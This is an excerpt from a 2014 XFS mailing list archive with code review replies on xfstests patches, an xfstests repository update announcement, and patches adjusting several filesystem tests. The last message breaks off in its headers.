12:43:49 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W54Mz-0003rq-AY; Mon, 20 Jan 2014 13:13:45 +1100 Date: Mon, 20 Jan 2014 13:13:45 +1100 From: Dave Chinner To: David Sterba Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/5] xfstests: use value of FSTYP if defined externally Message-ID: <20140120021345.GG18112@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/5] xfstests: use value of FSTYP if defined externally References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390184031 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144267 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jan 16, 2014 at 06:07:12PM +0100, David Sterba wrote: > The initial value of FSTYP is unconditionally set to 'xfs' and the > filesystem type is taken from the TEST_DEV. This could lead to confusion > if the device hasn't been formatted yet, eg. an empty image in VM, or > a different test setup took place before. > > Now one can specify the desired FSTYP in advance and be safe. If unset, > the fallback to TEST_DEV type continues to work. > > Signed-off-by: David Sterba > --- > README | 3 +++ > check | 7 ++++--- > 2 files changed, 7 insertions(+), 3 deletions(-) > > diff --git a/README b/README > index a49ca7c3ff15..62974ef87b89 100644 > --- a/README > +++ b/README > @@ -65,6 +65,9 @@ Preparing system for tests (IRIX and Linux): > environment variable set to "yes" will enable their use. > - setenv DIFF_LENGTH "number of diff lines to print from a failed test", > by default 10, set to 0 to print the full diff > + - setenv FSTYP "the filesystem you want to test", the filesystem > + type is devised from the TEST_DEV device, but you may want to > + override it > - or add a case to the switch in common/config assigning > these variables based on the hostname of your test > machine > diff --git a/check b/check > index 320ad26b7c2c..9e4275b1fa37 100755 > --- a/check > +++ b/check > @@ -33,7 +33,7 @@ showme=false > have_test_arg=false > randomize=false > here=`pwd` > -FSTYP=xfs > +FSTYP=${FSTYP:-xfs} ":-xfs" means assign the value of $xfs if $FTYPE is null. xfs is not a variable.... > xfile="" > > # start the initialisation work now > @@ -57,8 +57,9 @@ then > exit 1 > fi > > -# Autodetect fs type based on what's on $TEST_DEV > -if [ "$HOSTOS" == "Linux" ]; then > +# Autodetect fs type based on what's on $TEST_DEV unless it's been set > +# externally > +if [ -z "$FSTYP" -a "$HOSTOS" == "Linux" ]; then If the default value expansion is fixed, FSTYP will always have a value here Hence it will never, ever probe. > FSTYP=`blkid -c /dev/null -s TYPE -o value $TEST_DEV` > fi > export FSTYP I suspect what you want is: -FSTYP=xfs ..... if [ -z "$FSTYP" -a "$HOSTOS" == "Linux" ]; then FSTYP=`blkid -c /dev/null -s TYPE -o value $TEST_DEV` fi FSTYP=${FSTYP:=xfs} export FSTYP Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Jan 19 20:25:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 98E497F72 for ; Sun, 19 Jan 2014 20:25:22 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1E8C4AC005 for ; Sun, 19 Jan 2014 18:25:21 -0800 (PST) X-ASG-Debug-ID: 1390184719-04cbb04167ee4380001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id BYFDKmTLvWOsDbBL for ; Sun, 19 Jan 2014 18:25:19 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AukIADyI3FJ5LKVw/2dsb2JhbABZgwu2dYVPgQkXdIIlAQEBBDocIxAIAw4KCSUPBSUDIROIBMMuFxaOaQeEOAEDmCGKT4dKg0Eo Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 20 Jan 2014 12:55:18 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W54Y6-0003sv-Mn; Mon, 20 Jan 2014 13:25:14 +1100 Date: Mon, 20 Jan 2014 13:25:14 +1100 From: Dave Chinner To: David Sterba Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/5] xfstests: don't suggest to run full diff when DIFF_LENGTH is 0 Message-ID: <20140120022514.GH18112@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/5] xfstests: don't suggest to run full diff when DIFF_LENGTH is 0 References: <49b0cf305ade3444c3dcf3fbabb5e1e5e720c16d.1389891730.git.dsterba@suse.cz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <49b0cf305ade3444c3dcf3fbabb5e1e5e720c16d.1389891730.git.dsterba@suse.cz> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390184719 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144267 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jan 16, 2014 at 06:07:13PM +0100, David Sterba wrote: > If DIFF_LENGTH is set to 0, the full output is available and the message > does not make sense. > > Signed-off-by: David Sterba > --- > check | 6 +++--- > 1 file changed, 3 insertions(+), 3 deletions(-) > > diff --git a/check b/check > index 9e4275b1fa37..d578e49b78d4 100755 > --- a/check > +++ b/check > @@ -510,11 +510,11 @@ do > cat > else > head -n "$DIFF_LENGTH" > + echo "..." > + echo "(Run '$diff $seq.out $seqres.out.bad'" > + " to see the entire diff)" You're missing a trailing "\" there. Even simple patches need testing. ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Jan 19 23:45:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3FD637F51 for ; Sun, 19 Jan 2014 23:45:48 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 369F98F8037 for ; Sun, 19 Jan 2014 21:45:45 -0800 (PST) X-ASG-Debug-ID: 1390196739-04cbb04167eec3d0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id Fq7CSDaFtxnqazka for ; Sun, 19 Jan 2014 21:45:40 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuwSAC+33FJ5LKVw/2dsb2JhbABZgws4pwYDjziFT4EHF3SCZhwjGCQ0BSUDNIgEw1EWjhJXgjYPZoEUBJghgTOQZoNBKIEt Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 20 Jan 2014 16:15:38 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W57fx-0004FB-76; Mon, 20 Jan 2014 16:45:33 +1100 Date: Mon, 20 Jan 2014 16:45:33 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org Subject: [ANNOUNCE] xfstests updated to 3099791 Message-ID: <20140120054533.GA13997@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfstests updated to 3099791 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390196739 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144271 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi all, The xfstests repository at git://oss.sgi.com/xfs/cmds/xfstests has just been updated. Patches often get missed, so please check if your outstanding patches were in this update. If they have not been in this update, please resubmit them to xfs@oss.sgi.com so they can be picked up in the next update. Note that I didn't pull in the tmpfs support patch series this time around as I'm not sure the discussions ever came to a conclusion before xmas/new year/LCA intervened. That will need to be picked up again... The new head of the master branch is commit: 3099791 btrfs: sparse copy between different filesystems/mountpoints New Commits: Anand Jain (2): [83adc23] btrfs/006: fails with mixed-mode/small disks [7cb5299] btrfs/001: filter subvol delete output David Sterba (3): [9ced657] Makefile: fix minor build warning [d7e5b7f] check: accept tests/ prefix for test name on commandline [a050cb0] lsqa.pl: update for new tests layout Eric Sandeen (2): [94d3f77] xfs/049, 073: use MKFS_XFS_PROG where appropriate [6571cea] xfstests: allow override of XFS_IOC_DIOINFO Filipe David Borba Manana (1): [74643fc] btrfs: test send issue with non-aligned clone operations Jeff Mahoney (1): [99b3a9a] aio-stress: use calloc for thread_info array Jie Liu (4): [2086933] common: introduce two pre-checkup routines for xfs crc specified testing [cc92a95] xfs: refactor xfs/299 for crc feature pre-checkup [b42851e] xfs: verify turn group/project quotas off while user quotas is on [9645d9a] xfs: disable group/project quotas along with fsstress Koen De Wit (4): [c8d9f19] btrfs: simple sparse copy testcase for btrfs [890bc11] btrfs: sparse copy of a directory tree on btrfs [9b48c97] btrfs: moving and deleting sparse copies on btrfs [3099791] btrfs: sparse copy between different filesystems/mountpoints Lukas Czerner (3): [a056ab7] common: Filter out lost+found directory from _ls_l() output [1a98c8b] generic/322: use _filter_scratch() [3128e9c] generic/321, 322: do not remove lost+found Miao Xie (1): [5aafebc] common: Enhance the scratch dev pool and deletable device check Wang Shilong (1): [d1d43f6] btrfs/022: fix failed case with qgroup limit test Code Diffstat: Makefile | 3 +- check | 3 +- common/filter | 6 +++ common/filter.btrfs | 11 +++++ common/rc | 63 ++++++++++++++++++++++++----- lsqa.pl | 32 +++++++++++---- ltp/aio-stress.c | 4 +- ltp/doio.c | 12 ++++++ ltp/fsstress.c | 12 ++++++ ltp/iogen.c | 10 +++++ src/unwritten_sync.c | 5 +++ tests/btrfs/001 | 3 +- tests/btrfs/003 | 2 +- tests/btrfs/011 | 2 +- tests/btrfs/022 | 20 ++++++++-- tests/btrfs/025 | 98 +++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/025.out | 18 +++++++++ tests/btrfs/026 | 90 +++++++++++++++++++++++++++++++++++++++++ tests/btrfs/026.out | 16 ++++++++ tests/btrfs/027 | 107 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/027.out | 25 ++++++++++++ tests/btrfs/028 | 81 +++++++++++++++++++++++++++++++++++++ tests/btrfs/028.out | 7 ++++ tests/btrfs/029 | 108 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/029.out | 15 +++++++ tests/btrfs/group | 5 +++ tests/generic/321 | 2 +- tests/generic/322 | 10 ++--- tests/generic/322.out | 8 ++-- tests/xfs/049 | 2 +- tests/xfs/073 | 2 +- tests/xfs/299 | 14 ++----- tests/xfs/299.out | 1 - tests/xfs/304 | 86 ++++++++++++++++++++++++++++++++++++++++ tests/xfs/304.out | 7 ++++ tests/xfs/305 | 89 +++++++++++++++++++++++++++++++++++++++++ tests/xfs/305.out | 7 ++++ tests/xfs/group | 2 + 38 files changed, 937 insertions(+), 51 deletions(-) -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Jan 19 23:46:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1364A7F51 for ; Sun, 19 Jan 2014 23:46:32 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id EE7C5304039 for ; Sun, 19 Jan 2014 21:46:28 -0800 (PST) X-ASG-Debug-ID: 1390196786-04bdf00fe07fc6d0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id xZNxDXgpinwybSU8 for ; Sun, 19 Jan 2014 21:46:27 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvASAC+33FJ5LKVw/2dsb2JhbABZgws4pwYDjziFT4EHF3SCJQEBAQQ6HCMQCAMOCgklDwUlAyETiATDOhcWjmkHhDgEmCGBM5Bmg0Eo Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 20 Jan 2014 16:16:26 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1W57gm-0004FM-QW; Mon, 20 Jan 2014 16:46:24 +1100 Date: Mon, 20 Jan 2014 16:46:24 +1100 From: Dave Chinner To: David Sterba Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/5] xfstests: A few updates to non-test code Message-ID: <20140120054624.GI18112@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/5] xfstests: A few updates to non-test code References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390196786 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144271 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jan 16, 2014 at 06:07:10PM +0100, David Sterba wrote: > Minor bugfixes or enhancements. > > David Sterba (5): > xfstests: fix minor build warning > xfstests: use value of FSTYP if defined externally > xfstests: don't suggest to run full diff when DIFF_LENGTH is 0 > xfstests: accept tests/ prefix for test name on commandline > xfstests: update lsqa.pl for new tests layout Hi David, I committed the three patches that were OK, so if you can fix up the other two and resubmit them, that'd be great. Cheers, Dave. -- Dave Chinner david@fromorbit.com From dave@fromorbit.com Mon Jan 20 00:22:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 165687F51 for ; Mon, 20 Jan 2014 00:22:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 02CC9304039 for ; Sun, 19 Jan 2014 22:22:45 -0800 (PST) X-ASG-Debug-ID: 1390198963-04cb6c537cedacf0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id cgdc1yAQXjYjijGm for ; Sun, 19 Jan 2014 22:22:44 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlIGAGO/3FJ5LKVw/2dsb2JhbABZgwu8QoEQF3SDAjuBAgOIOJhjqnWPHIQiBKo6g0Eo Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 20 Jan 2014 16:52:43 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1W58Fs-0004Kk-JT for xfs@oss.sgi.com; Mon, 20 Jan 2014 17:22:40 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1W58Fs-0004Tr-IR for xfs@oss.sgi.com; Mon, 20 Jan 2014 17:22:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/7] xfstests: various fixes and additions for XFS Date: Mon, 20 Jan 2014 17:22:30 +1100 X-ASG-Orig-Subj: [PATCH 0/7] xfstests: various fixes and additions for XFS Message-Id: <1390198957-17184-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390198963 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144273 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, The following series cleans up some of the infrastructure for handling XFS filesystems, and fixes a few failures that have resulted from recent changes to mkfs defaults. There is also a new log recovery test that uses fsstress to generate load and log traffic. This was causing failures and hangs on recent kernels. Cheers, Dave. From dave@fromorbit.com Mon Jan 20 00:22:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 44F8F7F57 for ; Mon, 20 Jan 2014 00:22:48 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 39885304043 for ; Sun, 19 Jan 2014 22:22:48 -0800 (PST) X-ASG-Debug-ID: 1390198963-04cb6c537cedacf0003-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id lkcFUYL0v7jTSMyn for ; Sun, 19 Jan 2014 22:22:46 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlIGAGO/3FJ5LKVw/2dsb2JhbABZgwu9Uhd0giUBAQVWMwgYMTkDGxmIBMNBF48chCIEqjqDQSg Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 20 Jan 2014 16:52:43 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1W58Fs-0004Ko-Lx for xfs@oss.sgi.com; Mon, 20 Jan 2014 17:22:40 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1W58Fs-0004U9-L9 for xfs@oss.sgi.com; Mon, 20 Jan 2014 17:22:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 4/7] xfs/073,208: remove .full output before starting the test Date: Mon, 20 Jan 2014 17:22:34 +1100 X-ASG-Orig-Subj: [PATCH 4/7] xfs/073,208: remove .full output before starting the test Message-Id: <1390198957-17184-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390198957-17184-1-git-send-email-david@fromorbit.com> References: <1390198957-17184-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390198966 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144273 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Otherwise we end up with an ever-growing file for every test that is run and that makes it hard to isolate failures. Signed-off-by: Dave Chinner --- tests/generic/208 | 2 ++ tests/xfs/073 | 2 ++ 2 files changed, 4 insertions(+) diff --git a/tests/generic/208 b/tests/generic/208 index badd522..58d1d08 100755 --- a/tests/generic/208 +++ b/tests/generic/208 @@ -45,6 +45,8 @@ _cleanup() _supported_fs generic _supported_os Linux +rm -f $seqres.full + _run_aiodio aio-dio-invalidate-failure exit $status diff --git a/tests/xfs/073 b/tests/xfs/073 index 4280fa9..ca553ae 100755 --- a/tests/xfs/073 +++ b/tests/xfs/073 @@ -133,6 +133,8 @@ _supported_os Linux _require_scratch _require_loop +rm -f $seqres.full + _scratch_mkfs_xfs -dsize=41m,agcount=2 | _filter_mkfs 2>/dev/null _scratch_mount 2>/dev/null || _fail "initial scratch mount failed" -- 1.8.4.rc3 From dave@fromorbit.com Mon Jan 20 00:22:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id ED04F7F57 for ; Mon, 20 Jan 2014 00:22:48 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E1D4A8F8040 for ; Sun, 19 Jan 2014 22:22:48 -0800 (PST) X-ASG-Debug-ID: 1390198967-04cbb04167eedbb0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id bbSwHqfTbDqBRnJw for ; Sun, 19 Jan 2014 22:22:47 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlEGAGO/3FJ5LKVw/2dsb2JhbABZgwu9Uhd0giYBBVYzCEk5AxsZiATDWI8chCIEqjqDQSg Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 20 Jan 2014 16:52:43 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1W58Fs-0004Ku-No for xfs@oss.sgi.com; Mon, 20 Jan 2014 17:22:40 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1W58Fs-0004UO-Mv for xfs@oss.sgi.com; Mon, 20 Jan 2014 17:22:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 7/7] generic/204: use fixed log size for XFS Date: Mon, 20 Jan 2014 17:22:37 +1100 X-ASG-Orig-Subj: [PATCH 7/7] generic/204: use fixed log size for XFS Message-Id: <1390198957-17184-8-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1390198957-17184-1-git-send-email-david@fromorbit.com> References: <1390198957-17184-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390198967 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144273 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words In changing the default log sizes in mkfs, the freespace calculations in generic/204 are no longer valid and so it fails with ENOSPC before ti has finished creating the necessary files.. Make the test use a fixed log size of 5MB for XFS so that freespace calculations remain valid and the test passes regardless of whether we have a new or old mkfs binary. Signed-off-by: Dave Chinner --- tests/generic/204 | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tests/generic/204 b/tests/generic/204 index 598b805..13a762a 100755 --- a/tests/generic/204 +++ b/tests/generic/204 @@ -51,6 +51,10 @@ rm -f $seqres.full _scratch_mkfs 2> /dev/null | _filter_mkfs 2> $tmp.mkfs > /dev/null . $tmp.mkfs +# For xfs, we need to handle the different default log sizes that different +# versions of mkfs create. All should be valid with a 5MB log, so use that. +[ $FSTYP = "xfs" ] && MKFS_OPTIONS="$MKFS_OPTIONS -l size=5m" + SIZE=`expr 104 \* 1024 \* 1024` _scratch_mkfs_sized $SIZE $dbsize 2> /dev/null \ | _filter_mkfs 2> $tmp.mkfs > /dev/null -- 1.8.4.rc3 From dave@fromorbit.com Mon Jan 20 00:22:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EFDC77F5F for ; Mon, 20 Jan 2014 00:22:48 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id C76608F8037 for ; Sun, 19 Jan 2014 22:22:48 -0800 (PST) X-ASG-Debug-ID: 1390198965-04bdf00fdf7fe290002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 4v9WBBgZqSKSZ3fM for ; Sun, 19 Jan 2014 22:22:47 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlIGAGO/3FJ5LKVw/2dsb2JhbABZgwu9Uhd0giUBAQVWMwgYMTkDGxmIBMNBF5M+BKo6g0Eo Received: from ppp121-44-165-112.lns20.syd7.internode.on.net (HELO dastard) ([121.44.165.112]) by ipmail07.adl2.internode.on.net with ESMTP; 20 Jan 2014 16:52:43 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1W58Fs-0004Kl-KM for xfs@oss.sgi.com; Mon, 20 Jan 2014 17:22:40 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1W58Fs-0004Tu-JG for xfs@oss.sgi.com; Mon, 20 Jan 2014 17:22:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/7] xfs: test scratch device mkfs features Date: Mon, 20 Jan 2014 17:22:31 +1100 X-ASG-Orig-Subj: [PATCH 1/7] xfs: test scratch device mkfs features Message-Id: <1390198957-17184-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: 